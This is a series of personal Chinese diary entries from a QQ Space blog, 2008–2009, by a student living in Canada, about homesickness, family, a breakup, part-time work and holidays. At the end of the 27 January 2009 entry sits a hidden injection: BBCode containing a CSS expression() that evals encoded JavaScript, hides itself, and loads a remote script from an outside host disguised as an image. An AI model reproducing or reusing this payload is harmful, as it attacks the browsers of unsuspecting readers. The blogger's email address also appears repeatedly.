Roxanne°

Ps.口水话。

158325759@qq.com(Roxanne°) — Wed, 02 Sep 2009 07:01:32 GMT

此时此刻,我在听梁静茹的<纯真>。
1个小时以前，我想起了一个电影，和一首歌。
名字都是Ps. I love you。
都是悲伤的故事和悲伤的旋律。

我告诉妈妈说，我今天突然想写点东西。
我已经很久没有更新空间没有安静的坐下来发呆了。
还是只能用马不停蹄来形容最近的生活。
似乎回国就意味着忙乱。和去年一样的行程。
连回加拿大也没能放过我，仍然处于忙乱状态。

和妈妈吃了好几天的方便面，她不习惯加拿大的生活。
我们每天窝在宾馆聊天打游戏上网还有看股市。
移民官一个比一个年轻，反而我们的顾问却很老。
我觉得很搞笑。

我不喜欢Winnipeg这个城市，感觉比农村还农村。
曼省居然就毁在这么一个没有深层底蕴的城市了。
我开始迷恋London了，迫不及待的想带妈妈回去。
我告诉妈妈我的厨房有很多很多的调料。
可以炒正宗的回锅肉和煮很香的稀饭，吃最正宗的泡菜。

我突然很想天霞，很想这个夏天留给我快乐的这些人。
已经很久没有开怀的笑了。或许是因为被生活压抑太久了吧。
回加拿大的前一天妹妹阑尾炎住院了。
我没能忍住就哭出来了。从小到大我没有好好的照顾过她。
也没能和她真正坐下来谈谈心。在她最难受的时候我却要离开。

而她总是很懂事，我告诉她不要让我在离开之前掉眼泪。
所以她很疼都会忍着不哭。

我觉得爷爷奶奶老了。有点让我措手不及。
我不是故意不打电话，也不是故意和亲人联系。
我只是不想让自己有种离家很远的感觉，我举目无亲很难受。
或许是因为我太娇气了吧。
谁让我总是这么个倔脾气呢。

有时候想想真的很快，时间快到让人措手不及。
我喉咙紧紧的，有想哭的冲动。但是我总是假装坚强，好比现在。
我突然害怕几天以后妈妈的离开，突然害怕几年甚至十几年以后无法言喻的变化。
可是我无法掌控这一切。这就是命运。

转眼间弟弟都半岁了。我总是想起曾经盼望他出生的那一刻。
在看到他之前，我总是想了很多抱他的方式。我其实很害怕他不认识我。
可是他是认识我的。他用小手摸我的脸，好似我们相识很久了一样。
我记得郑兴宁小时候也是这样，在我离开很多年以后，他依然记得我。
我有一种满足感。呵呵。

我的体重已经达到了21年来的顶峰。
直到现在我才发现身体健康对我来说是多么的重要。
所以我顾不了那么多了，胖就胖吧。
如果能瘦下来那当然是好的了。

此时此刻，妈妈正沉迷于我的乐扣乐扣游戏。
我听着记忆着很多过往的歌写完这篇文章。
也不算是文章吧。就当是口水话。
我只是想记下我难得有的心情。
就那么一点点。

估计我3个月以后的某一天会想起更新空间。
所以今天添点口水话，填填我空荡荡的空间。

将就看。

路。

158325759@qq.com(Roxanne°) — Mon, 08 Jun 2009 17:13:01 GMT

今天的天气和我的心情很像。老天爷下雨下的很潇洒。
我真的是傻孩子。给自己制造不必要的悲伤。
我想，如果人能够看到自己的未来，那么我也就没必要承载那么多。
妈妈总给我说，把自己最内心的感受埋藏起来。
不要让别人轻易的看清你。

可是妈妈，这次我真的做不到。我心里很难受。
难受到我连个说话的人也没有了。难受到连眼泪都流不出来了。
我假装出来的坚强到现在已经没有任何作用了。
我只是想要简单的生活而已，想要得到所谓的幸福两个字。
为什么就那么的不容易？

我一直都觉得只要我是善良的，老天就会很善良的对我。
可是我的天真把我自己打败了。我输的一塌糊涂。
现在想想真的那么不值得，花了自己大半的青春。
为了一个“可怜”我的人离家出走，肆无忌惮。

或许我真的不能很清楚的了解自己。不知道自己想要的到底是什么。
到最后还是自己自己拿着刀子往过往的伤口上来回的拉口子。
我把空间的歌换了，换成那几年我和天霞最喜欢的歌。
我想回到高中的时候。简简单单的，有无数的人陪伴我。
不用问谁计较得失。

我们只是一群孩子而已。为什么要这样互相伤害。
我还是会继续做原来那个我。不会去责怪任何人。
也不会用任何方式去报复任何人。
我相信命。它会给每个人一个完美的定位。
并不需要任何修饰。

我想对妈妈说对不起。真的。
直到这一刻我才知道伤的最深的人是谁。
只是当初的懵懂蒙蔽了我的眼睛。
我知道你的眼泪里，不只是伤心能够诠释的。
更多的是无能为力，对吗。

不过从此以后，我不会再为了任何不值得我付出的人
做我不想做的事情。
伤害我最亲的人。

以前我喜欢听《趁早》，但是总觉得歌词很悲哀。
但是今天我再次听的时候，发现歌词是那么的适合我。
适合当初那个一心只在自己虚伪的世界里打转的我。

我掉泪，并不是因为我还在乎那个人。
我掉泪，是因为我伤害了太多太多真正爱我的人，不管是亲人还是朋友。
我掉泪，只是因为我后悔自己付出太多。换来无数的不值。甚至只是“可怜”两字。
我掉泪，也只是因为我为你而感到悲哀。

还是希望你幸福吧。
希望你得到值得你付出的人。

我还有很多事情要做，照顾好妈妈，把握住自己的幸福。
抚平自己的伤口，重新肆无忌惮的笑。

或许我是个很邪恶的人，但是我一辈子的努力，也就是为了去做个善良的人。

碎言碎语。

158325759@qq.com(Roxanne°) — Fri, 22 May 2009 22:33:08 GMT

每年的生日，我都会给自己写一篇东西。可是今年没有。
我知道我总是在无数次的找借口不记录，不怀念。
不是因为我懒，只是很多记忆当你还来不及提笔的时候，就已经消逝了。

09年又过半了。就像我说的一样，我还来不及去记录那些点点滴滴，就消逝了。
我对自己很失望，曾经摆弄文字游刃有余的我，现在似乎根本无法用文字表达自己想叙述的东西。
不管到哪里我的书架都是满满的，可是却不像从前，能够惬意的坐下来拿起自己喜欢的书翻看一遍又一遍。
记得在国内的时候买了两本七堇年的《大地之灯》，就是为了回到加拿大能够再次翻读它。
可是现在连一本也找不到了。

我不知道是不是我记忆的缺失，还是潜意识里故意想要忘记些什么。
这些年来翻看的书无数，可是记忆中只有那本叫《大地之灯》的书。
我不喜欢看杂乱的爱情文章，也不喜欢看怪异的火星文。
只要简单到能够触碰我内心灵魂的文字。我21年来都不曾忘记过。

我承认我是变了，变得很谨慎的保护自己。变得不愿意像身边的人述说自己的苦难。
或许是件好事。把自己锁在一个狭小的空间里，不被别人看穿。
我讨厌这个社会恶心的一面，让我总是有很邪恶的思想。
我也讨厌从小娇生惯养的人，不懂得珍惜，不懂得理解。

其实这段时间，让我不可忘记的还是打工的那段日子。
我总是竭尽全力的去做好一切，得到的却是我应得到的一半。
其实我不怪谁，我只是觉得良知对一个人来说真的很重要。
我还是相信，付出终究还是会有回报的，哪怕只是一丁点，我也满足。

我喜欢把自己挣来的钱存起来给爷爷奶奶买补品。
喜欢看到好看的东西毫不犹豫的买下来送给妈妈。
喜欢逛可爱的婴儿用品店，总想把我的宝贝弟弟打扮的比较份儿~
但是我却总是忘记犒劳自己。或许是因为我真的什么也不缺吧。

衣柜里的很多衣服已经很久没有穿过了，也不合身了。
我总是舍不得丢掉，也舍不得donate了，因为它们埋藏着这些年的很多记忆。
我带着无奈修恶心到死的japanese1050。不过只是为了能够提点分。
我顶着邪恶的太阳开车去老远的地方买菜，不过也就只是为了能够便宜一点。
来来回回的搬家，最后还是喜欢在离cherry hill最近的那家A&P买五花肉。

我的生活里面就是这些零零碎碎的东西，没有大起大落，也没有大喜大悲。
很想念在国内的朋友还有家人。

最后还是要感谢妈妈送我的mini电脑，这样我上课记笔记就不用背着千斤重的大书包了。
感谢天霞每年都记得我的生日，每年都会定时的给我寄一些我们上高中时候我最爱的东西。

我安静的躲起来，不是因为我害怕联系你们，只是为了过一段简单惬意的生活。

安好。我爱的你们。

写给小叔。

158325759@qq.com(Roxanne°) — Wed, 04 Mar 2009 04:37:55 GMT

我带着遗憾。
因为没有在第一时间看到我最小的宝贝弟弟来到人间。
因为没有看到他那张我已经描摹了很久的轮廓。
我不知道是否和我想象中一样。
拥有一双桀骜不驯的眼眸。

当小叔告诉我弟弟出生的那一刻，我好似丢掉了千斤的石头。
我好似话都说不出来一样开心。
我一直没有打电话回去，因为听得到看不见的感觉真的很窝心。

我觉得自己好似还是个天真的孩子。
总感觉20年来小叔对我的万千宠爱好似就要结束了一般。
记得那时候，他总是给我买好看的衣服，买最潮流的玩具。
陪我玩碰碰车，坐跷跷板。
在我离开中国前，悉心照顾我。害怕我受到一丁点委屈。
有时候真的觉得自己永远都没有办法对他足够好。

在来到加拿大以后，除了妈妈就是小叔给我打最多的电话。
告诉我要坚强，要学会去承受生活中遇到的一切。不要气馁。
在我最需要家人的时候，他来London看我。给我带很多好看的书。

其实很多人都忽略了他的辛酸。包括我在内。
或许也就是20年后的今天，我才突然觉得小叔真正开始了他的幸福。
一直想要得到的归属感-家。

我知道我是个自私的人，未曾在他困顿的时候和他聊聊天。
帮他分担一点心里的压力。其实我一直都想，只是不敢。
我真的很不懂事。

不过我很开心的是，小叔又多了一个幸福的源泉--弟弟。
我盼我的弟弟盼了很多年，总算是盼到了。呵呵~
我还是希望小叔能够再幸福一点，再开心一点。
我会承诺我说过的话，在我挣够了钱，送给你20年来第一次为你买的生日礼物。
虽然迟了很久很久，但是我知道你会很开心的，对不对？

我一直把你当做我的目标在奋斗，虽然我知道还有很多年才能像你一样成功
但是我一直都在努力。希望你看到我成功的那一天，那样你会很欣慰。

我只是想谢谢你，20年来待我像亲生女儿一样，无微不至。
也只是想谢谢你，让我一直都充满了爱。
我不会辜负你对我的期望，好好努力。不放弃。

我还是希望你能幸福，能有多幸福有多幸福。
每天都能笑的很开心。那样我就满足了。

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炮声轰隆，而我却听不到。

158325759@qq.com(Roxanne°) — Tue, 27 Jan 2009 17:21:07 GMT

这是第二年在这个城市过一个人的春节。
或许是我太多愁善感了，是我不懂得成长。
只是一直觉得有种失落感抹不去。很久很久。

空间里那首瑞斯的歌终于不知去向了。
好久好久都不知道该给空间配什么歌曲。
以至于mp3放在抽屉里面起了一层厚厚的灰。
车上的CD从来都是那几首歌翻来覆去的唱。

我一直还是有那样的习惯。喜欢在每一年开始的时候，
买个很称心的本本。开始记录接下来的生活。
总结前一年的一切。即使有万千的记忆抹不掉
但我总是一笔带过。

08年。这个看似很红火却很遭怪的一年。
我钱包被抢，护照丢了。连住的很好的房间还要和我较劲。
我是个很厌烦看春节联欢晚会的人，今年我用youtube一点一点的看。
不管看到什么我都觉得心里很暖和。听到汶川这个词，我满脸泪水。

或许是没有人来触碰我内心的一切。
所以我能假装坚强很久。哪怕不带表情的笑容我也能掩饰的很好。
我承认，我从来没有如此的想家。想到我连打电话拜年的勇气都没有了。
我害怕一听到妈妈的声音我会哭出来。果不其然我哭了。

爸爸第一次说很让人暖心的话给我听。
说他那么的想我。从来没有过的想念。
说让我要乖，要懂得感恩。
说他不愿意正视我的成长。觉得岁月弄人。

我也没有很勇敢的去正视我的成长。
我宁愿相信我还是10年前的我。无所忌惮。
每当我发呆坐着椅子上看着自己的房间时。
突然才意识到我在加拿大还有一个自己的家。

在每一通祝福的电话中，我总能听到浅浅的炮声。
然而，挂掉电话以后，我却什么都听不到。
是的，我们相隔万里。

我不说新年快乐。
也不说万事如意。

只是给身边和我一样在奋斗的人浅浅的祝福。
希望一切安好。
滴水之恩，要涌泉相报。

要有最朴素的生活，与最遥远的梦想。
即使明日天寒地冻，路远马亡。[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

xmas記。

158325759@qq.com(Roxanne°) — Tue, 30 Dec 2008 01:58:49 GMT

又是一年のxmas。今年沒有回家。在london這個小城市里度過了我第一個xmas。
其實很想家。只是每個人都會有離開父母自己飛起來的那一天。
所以我忍住沒有說。仍然假裝把自己沉浸在快樂之中。不去想太多。因為那樣會很累。

當我把用自己的錢給媽媽買的xmas禮物寄出去的那一刻，我突然覺得心裡很坦然。
我只能買一雙能夠給媽媽帶來暖和的鞋子，用我賺來的那點很有限的錢。
不過我是那么的滿足。從來未曾體會過的滿足感。

xmas那天回了homestay。那個我只住了三個月的地方。
但是好像所有人都和我認識了20年一樣。沒有任何的陌生感。
在身邊沒有媽媽的日子里，和Glenda就像親人一樣。我喜歡她摸著我的頭溫柔的笑的樣子。
很像媽媽。

Joe也從日本回來了。帶著他可愛的混血寶寶。

那天我把家裡的好吃的都吃了個遍。撐的我不行。
去年的聖誕，我在中國，一轉眼一年又過去了。
總是那么的不經意，那么的快。

這張照片不知道是被誰偷拍的。我很喜歡。
Liz的兩個好朋友見了我好像見了多年不見的朋友一樣。
雖然我們不曾相識。

她們倆總是拿著我的相機不停的偷拍。
然後開懷的笑。

Shawn還是像個孩子一樣。他自稱自己是彌勒佛。
他的性格很像爸爸。

這個聖誕節雖然身邊沒有親人。沒有那些陪伴我多年的朋友。
但是我還是很開心。每一年都是一個新的臺階。
回頭看看這兩年的生活，和經歷過的點點滴滴，感慨萬千。
我們總是埋怨時間的倉促，讓我們不能一一的享受生活。
但是總是有那么多個不經意的瞬間，我們的幸福卻無人能及。

我要感謝自己的成長。
讓我的親人感到欣慰。
感謝自己經歷的無數坎坷。
讓我得到了成長的禮物。

後來我們開車去了Niagra Falls。記得剛到加拿大的時候我就去過。
今年坐著自己的車，又來到了那個離美國只有幾步距離的城市。
那裡的天氣總是很好，好像春天提前到來了一樣。下著濛濛細雨。

還是要感謝媽媽。送我的這輛愛車。
讓我在寒冷的加拿大沒有被凍著。

最后，希望我愛的你們--xmas快樂。新年快樂。

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短发。

158325759@qq.com(Roxanne°) — Fri, 05 Dec 2008 01:11:11 GMT

记得这是第二次写这样的题目了。
也是第二次狠下心来把头发剪掉。
这次我剪的很短很短。短到没有力气再让它一下子变长。
我总是很开心的做着自己想要做的事情。
无论是好，或者是坏。

原本计划好的圣诞去古巴。
由于我的护照本本估计要搁浅了。
记得去年的这个时候，我拼了老命的想要回国。
就为了见见那个我走到哪里都放心不下的人。

我突然觉得世界好像有了翻天覆地的变化一样。
似乎我已经很久不再会竭尽全力的去担心一个人了。
似乎我也已经很久不再会拼死拼活的珍惜一份感情了。

当我真正变成别人的公主被宠爱的时候。
我真的觉得自己是在做梦一样。有太多的不习惯。
或许我就是这样的一个人，习惯了被别人折磨，而不习惯享受。

我始终都是相信付出和回报的概念。
所以理所当然的我过得比谁都要幸福。
不管是事业也好，家庭也好，爱情也好，还是学习。
这是这一切来的太突然，让我有点应接不暇。

我的车车成为了我第二个宝贝。
每天开着上学，吃饭和买菜。
曾经梦寐以求的想要辆车，哪怕长安奥拓也足够。
就为了能够到很远的super store买点新鲜的水果和零食。

小乐子总是在不停的给我惊喜。
好比说他偷偷的存了好多钱，就为了给我买棵大大的圣诞树。
因为他说，我去年的这个时候，在掉眼泪。
今年的这个时候，他要我比别人笑的都开心。

我真的不愿意再做那个自欺欺人的小傻子了。
开心的时候我会让全世界都知道我很开心。
难过的时候，我也会告诉全世界我很难过。
因为我知道，一旦自己忍受的太多，就会变得很麻木。

我又一次的剪掉了头发。
只是因为我想把过去完完全全的忘掉。
不再痴迷于回忆。

我每天都会抱着我的两个小宝贝笑好久。
我的456和小白每天每天都在长大。
456还是那样，打哈欠的时候发出可爱的声音。
而且总是一不小心就坐在了自己的屎上，还把屁眼堵了拉不出屎来。
小白永远都是做坏事的头目。教唆456和她一起偷我的袜子。
在睡觉的时候，做噩梦吓醒自己。然后悄悄的哭。
其实我一直都觉的小白是想她的妈妈了。
所以每次她每次睡觉都哭的那么伤心。

我幸福的是每天睁开眼睛，总是有很多很多的惊喜出现。
不管是好的，还是坏的。
所以我从不厌倦自己的生活。
日复一日，乐此不疲。

一首歌，一个故事。

158325759@qq.com(Roxanne°) — Wed, 12 Nov 2008 16:45:00 GMT

又是一个寒冷的冬天。
加拿大总是这样，或者很刺骨的寒冷。或者很温暖的阳光。
我记不清自己有多久没有好好的把MP3里的歌听一遍了。
也记不清自己多久没有写那些悲伤的文字了。
仿佛我现在写中文，都存在很大的困难。
每次去吃饭的时候，我总是抢着要写菜单。
那样我的中文就不会丢掉了。

原来我总是天真的以为只要爱我的人，就不会离开我。
有一段时间其实自己连到底什么是爱也不知道了。
只是很麻木一样。不愿去触碰身边的人和事。
现在慢慢的好起来了。稳定的生活和收入。

今天要去把我人生中第一辆车开回家。
觉得时间真是过的很快，一转眼我在加拿大都第二年了。
好像这里成为了我第二个家一样。
出门习惯性的对身边的人微笑，很随意的说谢谢。
开着车去老远的超市买菜，就为了能便宜一点。

今天去开money order的时候看到了老板娘。
她还是一副看似很凶，但是又仿佛有点慈祥的样子。
她让我回去。我笑了笑。

原来我总是笑小乐子娇气。搬家都觉得累。
昨天和他开着大卡车去上班，着实把我雷到了。
一个人要扛那么沉的东西。就一个人。
我能够挪动一个很沉的冰箱。
我也可以把很多很沉的东西搬到车厢里面。

后来那两个貌似是香港的老妈妈感动了。
还有那个看似很Mean的老女人也感动了。
给了我们60块钱。
留学生其实是可以挣钱养活自己的。
平时还要费死老劲的活，他才挣15。
不过比我好多了吧，我一个小时才7块。
还没有tips。

我的小白已经长成了一个胖西施。
每天吃了睡，睡了吃。
每次我叫她的时候，总是会扭着屁股过来。
每天我上厕所哪怕她再困都要跟在我屁股后面。

可是我最爱的小michael，却再也不会出现在每个人的视线里了。
他走的那么突然，连再见都没有给我们说。

InTangibleS.

158325759@qq.com(Roxanne°) — Wed, 22 Oct 2008 20:28:31 GMT

有的人說自己一無所有.但是她可能擁有整個世界.
有的人說自己什麼都有.可是真相是她一無所有.
我們都太過於貪婪.貪圖哪怕一丁點的好處.
也太過於自私,自私到不願意施捨別人一丁點的憐憫.

這個世界太殘忍了.將每個人都定義為可怕的動物.
表面上我們擁有很多,或者一無所有.
但是事實上卻恰恰相反.

數不清的考試把我壓倒窒息.
甚至麻木到連一句話都表達不清楚.
今天看書的時候看到intangible這個詞.
忽然就開始胡思亂想.或許我現在看什麼都會這樣吧.

每個人都是富有的.
有的人或許不會表現出來.
有的人卻會表現的淋漓盡致.
這就是現實中的社會.讓人毛骨悚然.
因為你根本不會了解,從你旁邊經過的那麼一個陌生人
或許就是這個世界上最富有的.
或者是最貧窮的…

最近看到一些讓人惡心的事情.更讓我覺得世態炎涼. =(
好比說有個傻到家的男生,永遠都不會相信自己戴著綠帽子.
所有的人都知道,可是就是他不知道…我覺得他很悲慘.

但是我們都只有閉口不談.或許等到他知道的那一天.
他的帽子已經變成深綠色…
小孩子就是小孩子.總是把這個世界看的太美好.
然而從來不曾想到自己終究會被這個世界所欺騙.

我們都不能太善良.
也不能太邪惡.
總是要做到恰到好,免得被別人所拋棄.

我丟三落四的習慣已經到了極致.
剛寫日志寫到一半,突然發現maggie給我的衣服丟在了圖書館.
還好我坐在圖書館,去問了管理員,她說要去mian building拿
我就又不想動了…

電腦還剩下最後五分之一的電.
我把這篇日志完成了.然後去拿我的衣服.

Ps: 我一切安好.放心
我是十足的大烤鴨.
大學就這樣把我征服了…唉

到底是谁罪恶深重。

158325759@qq.com(Roxanne°) — Wed, 17 Sep 2008 19:13:26 GMT

爸爸曾经给我说过，他这辈子最大的心愿就是我能幸福。
可是我总是违背他的意愿。把自己搞得狼狈不堪。
记得还在宜宾的时候，我在爸爸的面前因为一个人而哭得一塌糊涂。
记得他告诉我，不值得因为这样的一个人投入太多。
我才突然感觉自己一直都是在用自己的眼泪埋葬幸福。

第一次听到爸爸说让我释怀，去寻找自己该有的幸福。
我突然觉得，其实自己一直都是不幸福的。在假装自己很幸福。
原来我就是一个傻子。傻到什么都能蒙蔽我的眼睛。

事到如今，我才发现我并没有错。
一直都背负着很多的我，豁然开朗。
我不欠谁的。谁也不欠我的。
只是我是一个太容易被欺骗的孩子。
闭上眼睛都会觉得天很蓝。风很轻。自己很坦然。

我本用心经营的感情，原来只是一滩烂泥。
背叛我的人，自有天谴。所以我再也不会去怀念。

突然觉得幸福是个多么新鲜的东西。
一旦尝试了，还会慢慢的上瘾。
或许是我从来没有体验过这样的感觉。
所以我异常珍惜。我只希望，会一直这样持续下去。
让我忘了这20年来所有的一切。
背叛也好，欺骗也好。都统统给我滚。

罪恶深重的人，自有天谴。
越爱，就越恨。

这句话是对的。